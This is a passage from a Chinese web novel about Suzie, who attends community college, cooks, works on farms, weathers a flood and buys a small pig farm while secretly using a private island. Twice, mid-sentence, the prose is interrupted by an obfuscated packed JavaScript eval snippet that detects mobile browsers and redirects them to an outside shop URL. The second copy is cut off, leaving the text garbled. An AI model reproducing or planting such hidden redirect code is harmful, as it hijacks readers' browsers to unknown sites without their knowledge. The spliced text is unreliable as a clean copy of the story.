苏茜倒是对此适应良好。对她而言其实这个时代已经比较保守了,连中性都不提。嗯,想起她曾经在欧洲的标签是中性偏女而大受欢迎……其实当时她也是为了打进那个社交圈子,后来也确实赚到钱了,可惜都在当时的银行没提出来,也不知道最后便宜了谁。“你如果去了北欧就习惯了。他们都是不结婚生孩子的。” “难道各个都是私生子?” “当婚姻已经没有多少共同财产的时候,结不结婚压根不重要。” “……你说詹姆不想结婚是因为……” “不想负责任是肯定的。这样一旦对感情腻味了,没钱了,或者被孩子的哭声吵得受不了,就可以直接走人。你还要祈祷他不要欠了债跑路让你还债。”还有更糟的,她见多了。 “……” * * * “可惜苏茜就是太穷了,没钱买漂亮衣服首饰和做发型。不然光凭做的食物也能找个不错的丈夫人选。”即使是在社区学院,穷得去养猪场清理发酵粪肥的姑娘也是挺少见的,一般除了自己搞养殖,女生都不乐意沾上味道。幸好苏茜出现在校园里时都是带着一股清新的马鞭草味。 “听说她想以后当个地主。” “但愿不要选到会被淹没的地方。我知道有一个小农场,十年被淹了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976274|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次,最后把农场卖给一个富豪。那个富豪干脆弄了个滨水庄园,一年开几次派对的那种。” “哇!你去过吗?” “很遗憾,没有。” 这个年代的女孩子分歧非常大。有的自己创业潇洒过活,有的就指望认识个好男人嫁了、像母亲祖母那样当个主妇生若干孩子,少数由家族安排相亲联姻,当然还有十几岁的底层单亲妈妈。 被人说着的苏茜通了个宵,随便洗漱下吃了点东西当早饭,回来等老师打分。 八小时做出来的酱,当然优秀——即使味道完全不对,不是优秀也有保底及格。 “不同的地区、不同的口味,有不同的做法。比如中国南方的一种腌菜,制作过程两周,需要放置超过五年的时间才有更好的口感。当地还有一百年的腌菜,不过那已经是收藏品了……东南亚和东北亚的很多酿造发酵类的调料都需要六到十个月的制作过程,而且必须每周都要察看发酵的情况。”别人讲欧洲她就扯东南亚,别人讲美洲她就整地中海——除了英式和美式,其他都是美食,沙漠食物风味都别具一格呢。“同一个部位,不同地区和方法做出来的都美味得各有特色。举个例子,猪蹄。你们谁吃过?很好,一个都没有。下一次我就做两种完全不同口味的猪蹄让你们尝试下……” 苏茜在学校里小有名气。因为她不仅能用当地语言推荐当地美食,能和农机专业教授讨论哪种发动机更适合本州的土质和作物,还是唯一一个会亲自上手将猪粪处理为肥料的女生。 本州气候的最大缺点是时不时闹旱灾,偶然也有水灾,她的租房处只有淋浴没有浴缸,不过当地可燃材料特别多,各种作物收割后的秆子一块钱一露营车地拖走。她在岛上晾晒干,塞进自己在山洞口用耐火砖一点点砌起来的炉子里烧开雨水水缸里存下的水,冷水直接取水缸上层还算干净的水,两者合在一起倒入特意买的陶瓷大桶,加上自己用蒸馏实验器材做的马鞭草纯露,最后整个人连头发都浸到桶里。等最后爬起来,回自己的阁楼冲洗,身上的猪味就彻底没有了。 难怪小型养殖场压根活不下去,绝大多数的年轻人肯定不乐意这身味道,而如果给太高的工资则会赔本。大公司的员工如果穿一身防护服加上自动机械和养老金,还是能招到足够多的工人。 “苏茜,真是感谢。”老夫妇两个给工资给得还算大方,往往加一点凑成整数。 “没关系,你们除了工资还给了我猪肉。”苏茜拎起一堆“没人要”的部位,挥手告别。“下周见。” 回到达亚娜家,苏茜花了不少时间清洗处理和蒸烤。晚饭祖孙二人吃了猪肝米粥、烤猪蹄和蔬菜卷,冰箱冷冻和冷藏里还有几块分切好的肉片肉丝,以及玉米炖猪手。除了猪肉猪肝,其他所有食材和水电都是达亚娜家现成的,苏茜就出了养猪场送自己的肉和劳动力,而达亚娜能以挺低的成本吃到两三餐新奇好吃的食物,两人各取所需。 不吃隔夜菜什么的,在六十九岁、曾经的非法移民老人这里真心不是事。何况这锅中国菜实在太好吃了!第二天早上,达亚娜就忍不住拿出几块肉和玉米就面包,然后在十二点前就全部吃光了。要不是健康情况不允许,外孙女也不可能天天跑来做饭,她真想顿顿吃肉到饱! 苏茜则是带上冷冻了好几个小时的生肉开车回学校。 她的住处这两天停电,起码明天才能修好,她干脆开回学校然后住露营车得了。晚上开车不是多麻烦的事,但并非特别安全,尤其这里不控木仓。呃,木仓击案倒是大部分在白天,晚上的都是杀人案。 苏茜加满油还外加买了一小桶油,锁上车门。杂物箱里放了一柄带着专用消.音.抑制器的.22小手木仓,花了她半个多月的打工收入,特意跨州买的。 这一路没有额外消耗她的子.弹,甚至都没碰到人。更幸运的是,第二天凌晨开始下雪,而她早就将生肉塞进大冰箱,然后躺在温暖的小小空间内入睡。 …… 学生们平生第一次吃到带着明显甜味的猪蹄,以及与蔬菜一起快炒的猪肝,还有切成片后用烧烤、酱爆、炖汤、辣炒、凉拌、蒸蛋等多种手法做的猪心! “为什么猪心有那么多吃法?”不都是扔掉的废物。 “蒸蛋!我记得苏茜用海鲜和鸡蛋做过好几种菜。” “还有腌制的鸭蛋。蛋白很可怕,蛋黄特别好吃。” “我已经把肉皮都吃完了,特别好吃。谢谢。” “混蛋!” “……” “……” “苏茜,我现在知道为什么你不是那么在乎摆盘艺术。因为从第一口开始,大家都不会看,只会吃。” “摆盘我也会,只是普通的菜肴懒得弄。而且没有漂亮的盘子就少了一半的美观。” “……行吧。”呃,肉似乎吃得太多,晚上去健身房吧。 接着大家就看见,苏茜弄出来一柄铁壶,很典雅的亚洲铁壶款式,然后,将一大勺茶叶不加水直接放进铁壶,放在电炉上烧,还用一把长勺子,翻炒茶叶? 接着苏茜倒入刚才烧开了一直放在那的水,再加玫瑰干花和几种草本植物。很快的,茶水就在壶里煮开了。 苏茜将有着独特香气的茶水倒入一排玻璃杯里,抓来糖罐和奶罐自己加,再将最后一些茶水倒进自己带来的保温杯。 “这个铁壶挺贵的吧?”老师是有见识的人。 “如果在日本奈良的老工匠手里买的古典手工制作款,估计需要一千块。不过我这个是工业款,便宜。”现在找老家那里做不会超过五十块。 学生们学着老师,什么都不加地慢慢开始喝这茶水——口感还不错。 本来同班同学里有不少是冲着法式大餐来学习的,不过在苏茜强势多变的口感攻击下,都陷入了迷惘。尤其是苏茜来了一次本地版怀石料理和满汉全席美式缩减版作为期中期末实践考试,瞬间就让人忘记了煎牛排上的法式淋酱。 不过在意语专业的课堂上又是另一回事。 “地中海式烹饪艺术的灵魂,就是橄榄油和葡萄酒,当然还有新鲜的蔬菜肉类和奶制品,以及各种各样的香料植物。请忘记意大利面和披萨。我们先从古老的博洛尼亚肉酱千层面开始。” 3. 开局一荒岛(三) 在温度适宜的时候,山洞的地面用水泥填平、铺平,并且铺了一条斜坡到下方的水渠附近。 靠近洞口的地方是真正不锈钢单人床,洞口用电钻打了几个地洞、按上木桩,再围上挡风板。挡风板只遮住一大半的洞口,其余的仍然敞开着,方便通风和进出。 储水池一路往下延伸到靠近海边的地方。 荒岛地形是一面山石另一面坡地包括少量比较平坦的地面,海边没有沙滩,全部是黑灰色礁石。总体面积不是很大,可供应一个人吃的耕地和大棚的话是足够了。 岛上无法进活的禽畜。所以与其养鸡,还不如直接拿进来鸡肉。 或者学学如何从大海里弄食物。 早知道就只上一个专业了……这个念头在她脑袋里转了半圈就清理出去。她还想念机械和畜牧业以及环境保护……哪怕仅仅是专科,这学校为了付费的学生考虑,上的都是专业课,最多加一点数学之类的基础课程,一口气吃不出胖子。 苏茜直到现在都不知道如何“赶海”。她所知道的赶海是在滩涂,可在礁石遍布的地方,也就是吸附在礁石上的贝壳和偶然路过的鱼蟹。 这里的壳类有圆的有三角形的,大小不同、凸起程度也不一样。反正都叫小海鲜,这点没错!苏茜正笑着,突然笑容凝固:弄小海鲜的专用工具,她好像没有啊!算了,拿小匕.首也是可以的。哦,还有螃蟹,记得是有长夹子的? 她盯着礁石缝隙里的一只钳子,然后直接上手,迅速“握住”那只张开搞不好能钳断人手指头的双钳,再用力往外拉,顺便另一只钳子也一把握住。蟹钳的力气肯定没有她的手劲大,四钳被牢牢桎梏住,呃,连个桶也没有,只能一路捏着回山洞。 将偌大的海蟹塞进储水塑料桶,在它要爬出来的时候盖上盖子,还用毛巾保护手将俩钳子也一起塞进去,外面绑一圈绳子。完美。 接下来就是翻找各种调料。得城的黄酒好贵,目测是老家价格的二十倍,她是买了几坛塞进山洞最深处当储备物资的。没有葱姜和米酒,就用柠檬、罗勒叶、紫苏、醋、黑胡椒颗粒。还有一颗生菜。外加一锅自来水! 她有两口不锈钢大锅,一口是烧水的,一口是煮食物的。打火机生火,自来水倒进锅,煮开后,再次费劲将螃蟹塞进开水。然后调料切两刀一股脑也加进去——炉子烧的是炭,拿出来还得浇水熄灭,就开着盖子继续中大火煮着吧。 反正岛上不会有被香味吸引来的动物。倒是有小海鲜等着她去采集。 苏茜看着表,然后写购物清单。 充电灯,防腐木材,菜种子,莲子,驱蚊菊酯产品,蜡烛,火柴,大小水桶,可降解大花盆或是陶瓷盆……加起来,又是将打工收入清空的单子呢! 一个冬天过去,岛上一年大体气候都搞清楚了。之前一直没有认真监测记录,只是知道最冷也是零度以上。现在有了仪器就不一样,温度湿度降雨频率虽然不能说已经彻底搞明白,但结合几辈子的经验印证着就行了。 二十五分钟过去,再将生菜下锅烫熟。吃蟹八件套她还有,就是没有搞得动大钳子的工具,所以她又拿出来专业钳子和剪刀——还是那句话,没有老家的产品过来,一个个都贵得要死,而其实真正生产的人拿得并不多,钱都砸在一年比一年高的房租和每周平均只卖得掉五套的销售人工上了。即使没有竞争者,这要是上了电商,也能便宜三成…… 蟹肉真好吃!哪怕蟹黄不多,可因为是新鲜无污染,肉质极其软弹鲜美。她没准备蘸料,更不想焗烤。 美食带来的好心情一点也没有受到大雨的影响。餐桌靠近洞口,但是雨水全部被挡在洞外,充电灯又带来了光亮。吃着绝对新鲜的蟹肉,腿边是暖暖不会烧到衣服的炉火,身上是加绒冲锋衣,在华氏60度的雨天里堪称享受生活。 得城的夜间不到华氏50度。苏茜没开很是费电还不能变频控制温度的取暖器,而是直接钻进两层加了被套的薄羽绒被子里。被套衣服这种都是房间里洗了带进岛上的透明小温室里晒的,被子也在晴天晒过。小温室就是个塑料棚子,放了石头固定,合上塑料布,就不怕突然下雨。所以她连有些小贵的消毒液都省了。 此外,雨水净化“设备”也进展不错。她在图书馆泡了挺久,还厚着脸皮去问其他学院的老师,理由是户外生存如何自制饮用水,并且引申到水净化循环利用。 海水淡化处理的设备太大、太贵,还得不偿失,不如将注意力放在岛上充沛的雨水。最后她用鹅卵石、无烟煤、石英砂、陶粒、两种活性炭、锰砂、甚至还加了纤维状工业材料作为滤材——比买过滤水滤芯便宜多了——水质检测结果达到饮用水标准。事实上,她检测了沉淀后的雨水,无污染,软质水,其实滤掉泥沙煮了就能吃,不煮就喝也不会出大问题。所以过滤后的水理论上可以直接喝。不过除非紧急情况苏茜是不会直接喝冷冷的生水。 农场又开始忙活。好在这个学期学校的实践课变多了。苏茜很随意地将烹饪实习地点定在镇上唯一的正经餐厅而不是快餐厅或酒吧。大厨的能力她有,但她是零工实习生,所以专业“打下手”。好几种招牌酱料听说是老板秘方,她不去碰;沙拉受限于材料,就三种,杂工都能做;五分熟的牛排,真心看不出有多高的技术含量,同班同学起码有三成比本店厨师兼老板亲戚做得好。所以苏茜每次来打工都是做本日特色菜,有什么新鲜食材就做什么,非常随性。从羊腿到兔肉,甚至本地人吃腻了的土豆也“创新”了两种菜色,反正老板和付钱的食客都说好吃就行了。唯一可惜的是本地产饲料豆并非黄豆,没法做菜。 * * * “我在自己制作培育土,用来种菜和水果效果很好,各种菜,生菜菠菜卷心菜甘蓝辣椒还有草莓,土壤检测数据也很好。但如果投入实用,肯定要工业化大生产,一袋子做出来的就只够分给大概五十株草莓的样子,一株草莓结六个果子,还有土地人工灌溉和损耗……得将成本降到一公斤一两块吧,不然哪怕高级有机食物能卖不错的价格,也不可能太离谱。除非只用来培育高级郁金香?”苏茜现在对自己的估价能力完全不信任,因为她觉得这种发酵剂一袋零售价一块钱出厂价一半也足够了,但现在看见一小袋的报价居然要六块多。也许这是没有工业化大生产的结果? “这就不是我们能决定的了。”男学生耸耸肩。他参与了这个项目,成绩也达到副学士,不仅现在有了大公司的OFFER,还可以申请去读硕士——他正在纠结去哪边。 苏茜也很遗憾。这成本太高了,没有老家帮忙打下来价格根本不实用!还是继续用化肥吧。 不,考虑到污染问题,还是自己弄枯枝败叶来烧成草木灰吧…… 所以为了大概两顿左右的干燥麦秆,她将一整个农场的秸秆翻晒晾干再整齐地覆盖到播种带之间,再提早打农药。因为开着三种大型农机,她花了几天时间就都搞定,但是带着隔噪音耳塞每天工作十个小时也是够呛——几次上厕所都是去岛上马桶解决,不然来回二十分钟会被扣时薪的——好在老板没小气,没有扣减吃午饭的时间,还给了每小时八块钱的“高薪”,差不多可以付两个月的房租了,却不够买个连稳压器都不给配的三千瓦小发电机! 可是没有发电机,她各种装置都是充电或是用电池的,也不便宜啊,合起来多支出的费用并不比发电机便宜多少。 所以,必须让老家的工厂来参与竞争,不然这工业大国生产的工业品也太贵了,堪比通货膨胀四十年后的价格。 气死了!她一头灰地又跑去养猪场,搞一身猪味一起清理! 等周一上午匆匆回到学校上课,她又是从头发丝到脚趾尖都是清爽气息。 “苏茜,你好像没怎么晒黑?”其他人都是去迈阿密度假,想晒成古铜色结果成了红脸皮,可这姑娘不是跑去农场干活了,结果看上去虽然不太白皙,可也不红?“咦,皮肤也不错,你用的什么面霜?” “SPF50,PA++++防晒一天抹两次,面巾长袖长裤和手套。多喝水,多吃蔬菜水果,口服保健品,晚上用芦荟胶涂抹晒过的皮肤,还有,不熬夜。日晒和熬夜是造成斑点和皮肤衰老的最大外界因素,熬夜指的是12点以后睡觉。”另外,少用化妆品。现在的产品,尤其是比较便宜的,安全性都很难说。没看见四十年后的品牌货照样有翻车的,连名牌产品都有防晒霜不防晒、晚霜靠硅灵的假滑。哦,不,“你注意下别用含有聚二甲基硅氧烷的护肤品和洗发水。包装上没有标注成分的化妆品不要碰,可能含铅。” “啥?”好专业的名词,没听过。嗯,至于熬夜什么的,姑娘们表示不通宵不青春啊,略过略过,回去看看好的眼霜。 “聚二甲基硅氧烷。”苏茜还特意写下来。“这东西只值几分钱,但是可以让你抹了之后觉得皮肤滑嫩,为之付出十块钱。” “……如果没有标注呢?” “换个产品。” “那你推荐什么祛斑产品?” “别用祛斑产品,有效的成分有害健康,没效果的就是浪费钱。建议用激光祛斑,打一次,在家不出门三天,就差不多了,比长期使用祛斑产品安全有效还省钱。”曾经她在医美上砸了不少冤枉钱,现在完全反过来,就一门心思攒钱找法子改善荒岛的长期环境,方便以后,以及可能存在的下辈子用,奔着百年目标去的。 哦对了,想起刚来不久衣服破了没法补也没钱买新衣服的尴尬,她扭头去买了一堆缝衣针、缝纫机用针和各色线头。当然,线这玩意想保存得久一些,避光真空收纳是基操,哪怕是尼龙丝线都没法在岛上潮湿条件下放个二十年还能用,更不要说棉线。所以真空包装小机器又得上购物清单了。 …… “苏茜!你能来我真是太高兴了!你真是拯救了老鲍勃。”餐厅老板老鲍勃其实才四十七,五年前盘下前任餐厅老板的店面接着开店。他属于怎么吃也不胖的类型,面相显老,看上去能有五十七,因此连他自己都自称老鲍勃——鲍勃甚至只是他中间名的变体,因为容易记又听起来很亲切、很小镇,所以就用这名字了。 “哦,鲍勃,如果你需要我干活,你就要好好给我写实习评语。”把需求放在台面上才是正理。 “那是当然!必须的!”鉴于苏茜会把自己做过的每一道菜都留下详细制作过程,哪怕他付出的其实是二厨的时薪也是赚的。 苏茜的时薪里,最低的要属养猪场,最高的目前是餐厅,但如果算上新鲜猪肉和草木灰原料收入的话,大体都差不多。 烹饪艺术的实习期真是棒极了,可以同时解决学业、收入和饮食问题,一举三得。而国际语言的实习期也简单,她挂了个本州的翻译公司,选了几种“冷门”语言的书面文件翻译,尤其是华语,呃,意语都没敢接,因为这真的是“外语”。 心情一好,苏茜来了道酸甜口的宫保鸡丁,和好几道皮塔薄饼做的烤串和沙拉,再配上希腊桃红佐餐酒,搞得不少人都来尝鲜。老鲍勃很高兴,唯一可惜的是他学起这些远中近东方菜式有些费劲。另外,谁能告诉他,为什么小麦粉为主料做的面饼有那么多名称?!最恐怖的是,他特意去买了好几套中国料理书,可苏茜给的名字和做法都对不上号! 他看到的什么鸡丁都是辣椒辣椒,而苏茜的则是特别受本地人欢迎的口味?还什么全部食材本地新鲜出产的中国菜,这说法为什么如此奇怪? 苏茜在给他“科普”了几十种地中海周边出产的特色佐餐酒之后,还好心地“简单”解说了下中国菜的菜系和“主要”特点。然后老鲍勃更晕了:请问中国西部的有好几百年历史的牛肉菜,和希腊某个半岛特有阳光雨露种植的葡萄酿的酒之间有联系吗? 苏茜表示一点不介意就此写一篇论文,然后用一桌子“异国风情”同时解决两个专业的学业。 就是累了亿点点。 …… 两年多一点时间,两个专业的毕业文凭,外加打零工挣钱。苏茜的账户余额一直没有“恢复”到七万以上。但她不止完成了学业,还添置了很多东西包括发电机,另外陆陆续续造了很多东西,其中包括一个小屋。她按照各种推荐的庇护所图纸和建筑工程的书,在山洞和废弃集装箱中间,一点点用铲子、斧子、锯子、刨子、锤子加上水泥、防腐木头等原材料弄出来一个三角木屋,发电机跟电烤箱电磁炉微波炉等电器都放在没窗户的集装箱里,防腐木屋外面有隔音层和防雨贴层,木屋里有铸铁烧水烤火炉,铁桌椅床和马桶浴桶,电线管子、烟囱和出水口俱全,就是没有进水管。这个得过滤以后手动拎进来。此外也没有洗衣机,因为她挖了坑并与水渠连通,用现成的两只废弃浴缸清洁后当成洗衣洗物池。 遗憾的是,因为土质太差、雨水太多,埋进土里的草木灰和枯枝落叶还没有达到彻底改善土壤的作用,只有几十株灌木,因为是最早种也是适应水边环境的,已经半米高了,只能用来烧水煮菜;零星一点油菜、水稻、芹菜、蕨菜等还活着,卖相很差但可以吃;水稻目测没有收成,跟无法适应环境的两种树苗和死去的果蔬一样,只能挖了埋土里。 夏天到了。 苏茜没有退房子。她在市区有份工作日早餐厨师工作,还有不少翻译活要做、这需要在市区时不时找书找资料,周末则是比较固定地去养猪场和农场帮忙,就是周一凌晨需要大清洁后直接去做早饭比较难受。 尤其还是下大雨的时候,走到早餐车那边真的很麻烦。 “我们这里不会被淹没吧?密州那边好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我知道。这些吃的你到时候一起带过去,算是房费了……这是过滤水壶还有净水片,按照说明书放净水片消毒,这样的水洗刷冲马桶也够了,再用水壶过滤后煮开三分钟还是可以喝的……感冒药都有吗?” “有的,孩子。谢谢。” 镇上有一半是平房,所以互相认识的人都联系好了,发现不对就去有楼房的人家。农牧场都已经躺平,他们无能为力,而且保险里大多覆盖了灾害——也只能这样安慰自己了。虽然保险公司赔不赔、赔多少、什么时候到账是另一回事。 苏茜将东西搬上车,开着车回市区。 不过在接近市区的地方,她拐向一片农场地,从车里“拿出来”一辆自行车,然后骑回市区。 岛上的风可没本事把她的车子吹跑。她的车险里有意外险,但有限额,肯定不够换发动机的钱。 决堤了。 一堆采访直升机拼命在找报道点,哪怕看到有人快淹死了也是抓紧时间拍摄、急急忙忙闪人,绝不存在救人这么不“专业”的事情。 公寓楼一楼的住客,一家在外地不回来了。另一家在露台搭好了帐篷。二楼的几个单身住客和情侣也上来搭帐篷了。 苏茜当然没去凑热闹,但不得不翻出来几箱子矿泉水和日本泡面,还有电筒电池应急灯毯子防潮垫户外炉等等“备用”物资放在一旁。她最多只有去岛上用马桶的隐蔽时间? 哦,不是。肮脏的、混杂了地表各种物质的水漫进城市。但也只到一楼。本公寓一楼其实是一层半,所以实际上影响有限。 这些人很快就回家了,因为在顶楼露台“方便”的时候真的很不方便呢!看顶楼住户苏茜送给他们的车载马桶和垃圾袋……他们默默地将垃圾袋扔到楼下,然后拎着马桶回去继续用。因为马桶没水冲水。 一夜半天后,露台终于空了。 雨停了,水位不再往上涨,但也没有退去的迹象。很多地方停电,不过他们这几栋楼居然还有电!下水道目前还是好的,就是停水。苏茜将所有能充电的都充满,锁上门锁上窗,拉好窗帘,看上去像是保护安全和隐私,实际上去了岛上。阁楼没冷气没空调,只有一台风扇,室内温度能有华氏96度,热死人了快! 岛上夏日午后最高也就是90度、晚上平均不到80度,加上海风一吹,还没有蚊子,比阁楼舒服多了。不需要跑露营车里费汽油开空调,还能泡澡煮海鲜! 礁石上的贝类很多,苏茜因为业务不熟练,花了两个小时才撬下来半桶贝壳,绝大部分还都是只有半边,另外还有些都被浪费了。好在路上她还弄到好几个螃蟹,虽然不大,但那些鳌钳看起来有不少肉的样子。至于鱼就尴尬了,她抓了好几回都没抓住,而且用的还是据说海边抓鱼用的捞网!看来是她技术有问题。 拎着两只半满的带盖塑料桶,要不是她一直刻意锻炼体能和臂力,根本都运不回没有路的山坡上。看来最好搞条硬化路,方便用小推车运货,和小船。 因为怕拿到海上就吹没了,所以她的船至今还在山洞里生灰,甚至上面还堆了几大包密封的衣物被褥和防雨布! 前两天岛上一直在下雨,今天放晴,用储水池上部的水清洗海鲜,在山的阴影里将过滤的雨水煮开,加去腥调味料,再将海鲜一股脑倒进去。呃,其实应该有先后顺序的,不过算了,她又累又饿手都快发抖了。又拿来一包泡面,撕开包装,加开水煮一煮。先吃点补充能量。 等面加汤全部下肚,感觉好点了,再开始吃海鲜。废水倒进简易水渠,虽然当时修的时候花了两百个小时,但用起来是真的好用。这种生活废水肯定不能直接倒在土壤里,而如果运到海边又会累死。尤其是洗刷马桶的时候,与含泥沙的水一起冲下去还是挺好的。唯一不好的就是用过的卫生纸,之前她都是将垃圾袋带回住处扔,现在只能扔海里了。谁让楼下的垃圾桶都没了。 回到住处,翻翻来电显示,回电过去是达亚娜。她在老友家,她们的住处地势颇高,虽然是老房子,但建造的时候可能已经考虑到洪水问题,有一截很高的半地下室,因此现在除了半地下室基本上生活没有影响。可惜电力停了、电话暂时还能用,对这些老人反而问题不大,她们把冰箱里的食物全部拿出来,能吃的都吃,可以在煤气小炉子上烤干的弄干,加上囤的大瓶饮用水,还有苏茜给的滤水壶、净水片和泡面,可以撑一段时间。 挂了电话,苏茜犹豫片刻还是回岛上睡觉。小屋的木门因为安装技术不佳,后来干脆就没装,但是纱门是金属网纱,虽然岛上没啥虫蚁,更没有蛇,但有层东西还是好的,万一有路过的鸟类跑进来呢。她躺在住处移来的乳胶床垫和长绒棉床单上,盖着被单很快就睡着了。 4. 开局一荒岛(四) 供水在洪水退去后仍然没恢复,市区大部分的电力恢复了,但不少镇子上还没有,其中就有达亚娜那边。整个城市被太阳一晒,臭烘烘的。苏茜都不敢去农场,更不想踏足养猪场。好在那边也没有打电话来找她去打工,估计道路都不行。 等供水完全恢复则是十天后的事情。威妮只打了一个电话,说车子赔付和维修需要时间,开工日期不定。倒是家合作了两年的农场来问她有没有事,乐不乐意来干活清理田地,时间可能需要一周。苏茜答应了,还是将岛上的车子连同露营车一起开过去的,顺道带了不少泡面和饮用水。 她也就吃了两餐泡面,其他时间伙食相当不错,米饭面饼蔬菜水果一直没有断,只有用电饭煲和烤箱的时候在住处,其他都在岛上煮了吃,不然光是用水就不好解释。 最后苏茜在噪音、日晒和隔绝腐烂味的口罩下干了快十天,才和农场主和另两名工人一起,换人不换机器地将一塌糊涂的农场搞成可以种冬红麦的场地。 她累得够呛,但扣掉露营车用的汽油水电费等等最后能净得一千二,算是加班费和高温费累计在一起的“高薪”了。劳资双方都挺满意。 养猪场被淹了,猪一开始还是活着的,可能受凉又吃喝了不干净的水和饲料,在水退了后一个个都病了。这肉当然就卖不掉。 老夫妇二人损失惨重,因为烧病猪还要付不少钱,没保险的那种,而不烧会被投诉处罚。 “苏茜,你要买这个牧场吗?只要五万。”明显快不行的男主人问道。他之前询价,没人接受高于五万的。他们还有点养老基金和投资,社保虽然很勉强但确实还有点。但再经营下去……谁也不知道会不会血本无归。 这个连工人住房——现在都没工人了——加起来十二亩的小牧场?哦,英亩,其实十二英亩不算小了。苏茜把心里的账本迅速翻一遍。 “……好。我账户里的钱够了。”还能剩下两万左右,她可以再工作几个月,就能撑起来一个牧场了。所以她只考虑几秒就点头。还有,她不一定养猪哦!宁愿养几只鸡和大棚菜也不高兴养猪!还有那个彻底“消失”了的猪粪处理池可以直接改为秸秆焚烧处理池……难怪一路开来那气味如此有辨识度,想想那么多养殖场的化粪池还有没地方搬的化肥袋就知道。 呕—— * * * “上帝啊!养猪场!哦——”这是年轻姑娘会喜欢的行当吗?开玩笑的吧!威妮在电话另一头都傻掉了。 “不,我打算改为小农场,自己种些有机蔬菜水果,养些鸡,自己吃。” “自己吃!哦,苏茜,你一个人吃得完几英亩土地出产的蔬菜水果吗?” “好的,吃不完我会打电话给你的。尤其是绿色有机蔬菜和草莓什么的。” “啊!我好心动!不过记得要比我们的进货价便宜一点点哈。”在商言商好不好。 “我知道。明年等我消息!”应该不会赔钱。 “……明年!” “是的,这一个月我得清洗消毒猪圈。” “……”呃,她喜欢吃猪肉,但拒绝清理猪粪什么的。 五万买个设施老旧还没有活猪更不能机械化种地的小养猪场绝对不便宜,但也没当冤大头。附近还没有小于这个面积的农场,要么就是一个不到十亩的养鸡场,反正总价肯定都超过五万。 “就当是买地皮和房子,这些房间还有大棚,我看棚顶已经快不行了,只要换个透明顶,其他由我自己修整的话要不了多少钱。一个人用的空调也不需要再买。我还能自己修壁炉和烟囱管道。”另外,高温消毒清洗机、吊扇等等都是现成的,甚至还有一台噪音略大但还能用的柴油发电机。前任主人老夫妇完全不想把这些东西带去养老院的一室居——他们在养猪场好歹有四室两厅两卫,尽管设施比养老院还寒酸,可空间足够大。 “修壁炉!”还有烟囱!达亚娜老太太已经不知道说什么好了。她知道外孙女想以后买个小农场,还以为她会工作几年多攒点钱,但没想到这么早,而且还是养猪场! “对,我打算用绿色能源,屋顶用太阳能,空的地方种便宜好养的树当柴烧,试着种些有机蔬菜和草莓之类的水果,自己吃还有卖给餐厅。奶奶如果你乐意来做点事情的话我给你发工资。” “我干不动农活了。”达亚娜摇摇头,她有生活来源,虽不宽裕,但也过得去。这种大棚里的活并不轻松,而且外孙女摆明不要求她干什么活,那就是占便宜了。“不过我建议你谨慎雇佣临时工。镇上的年轻人越来越少了,老长的人要么有自己的事,要么做不了什么事,估计不能适应你的绿色有机概念。” “好的,我知道。”苏茜之前两年能买那么多东西包括付房租的底气,就是因为能干活、肯干活的年轻零工少,正式工人的工资则是一年比一年高还经常有离职,老的工人在用新理念和新机器方面又差了一点点。倒是一些背靠大公司或是大地主,用大机械的大型农场活得不错,争取补助的时候也更力量强大,嗯,转基因的农产品大概也慢慢兴起了吧? 苏茜先给新家买了性能低下还价格高的台式电脑、连了可怜兮兮的电话网线,然后下订单买种子,种类多、数量少所以价格高些。 工程队伍大概最近活多、抢时间,三天就给她将原来破旧的还被掀掉一小块的铁皮顶棚换成透明顶棚里比较便宜的一种,但花了她三千多!真心疼啊,但不得不花,不然自家占地面积最大的一块地方就成了废墟,除非自己还想养猪。 她这辈子都不想再跟猪粪打交道! 接着就是整整一周的大清洁。她连屋顶都爬了梯子上去喷高温蒸汽,原化粪池的地方直接用来发酵秸秆、油渣、麦麸等等,一些泥土和更少的牛粪制作土肥。她不想花额外的钱买发酵液,不过加了些便宜的饲料级益生菌,一块钱一大袋能用在整个池子里。 等肥料好的两个星期里就开始整房子。首先猪圈全面改为简易大棚,但是种植箱却是可以移动的,因此这个体力活省不了。但因为没有多少技术含量,苏茜都是自己一块块弄,只有洞开的门窗与额外的四个煤炉是花钱找专业公司来做的,因为冬天零下的时候她会用煤炉来保持温度。 至于她自己的住处,抱歉,没力气,也没钱。 何况有空调已经不错了,只要消个毒就行。可以煮十个人餐点的大厨房也是自己清理一遍,厨具炊具能用的继续用。家里加个臭氧消毒柜就都解决了。 直到土肥做好。味道不算清新,但也不臭。 等将种子按照规定深度、间距和含水量种下后,她做了一式两份种植计划表贴在大棚和客厅。 开始种菜吃。 或者说,只出不进的日子快到紧要的转折点了! 生菜不需多少阳光,但草莓在生长的时候需要更多阳光。在购买灯和反光膜,以及用玻璃相比,苏茜果断选择后者。她不是不想真正实现车间式安全生产,而是没钱,也没销路。对当地人来说,有机二字已经足够贵了。嗯,做成菜可能还好一点点? 苏茜边看着长出芽苗的生菜边这样想着。 十月底的天气已经不算暖和了,好在草莓在中午到下午这几个小时阳光直射,加上其他时间用顶棚阳光也能凑合。苏茜看了看已经灰蒙蒙的顶棚,想着原来的工人房、现在的电器仓库里有高压水木仓,试试能不能用那玩意清洗。 “威妮,没有农药、没有化肥的有机生菜快长好了,下周什么时候有空来吃?” “周日可以吗?!我周日上午来!我要尝尝味道!”好的话就固定采购,而且多放一片有机生菜,三明治和汉堡的价格还可以加两毛。 “当然可以!”她陆陆续续做了两吨多的有机土肥,全堆在原来的饲料仓库里,怎么可以用不上!“还有其他的菜,我种得不是很好,没什么商业价值,但自己吃是足够了。” 